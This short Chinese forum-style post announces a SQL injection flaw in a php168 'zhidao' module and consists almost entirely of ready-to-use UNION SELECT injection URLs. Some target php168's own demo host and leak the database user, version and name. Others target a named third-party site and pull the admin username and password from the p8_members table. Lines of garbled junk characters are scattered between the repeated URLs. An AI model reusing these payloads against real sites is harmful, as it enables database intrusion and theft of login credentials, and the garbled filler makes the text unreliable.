php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
' L- N# ~6 M9 F' V" i4 W$ p                                       

( \, I( T9 t  K) f! chttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! x  n( D6 H  G  K+ u                                                     
- t" F# J6 k& g4 o! D: V# H5 W                                                                  
! K4 Q! e8 F( ^# g                                                        
* G; ^. A4 Z8 ~/ c: Bhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
' r2 i2 w7 m# s0 Z4 A' }: R3 F
; L) d: N; K' \; U
. ~8 W) e, k) B  G, c- _
& a. U! T& t$ v  Y$ p( R1 V7 l                                                            

http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
7 L1 _' M1 x/ U" x7 y9 V! T% X' y
6 C" f# j3 L  P8 O: u* }; w8 d1 C
# J- c9 U% S4 k) M: H
% B9 }) ~0 j& }6 p! Y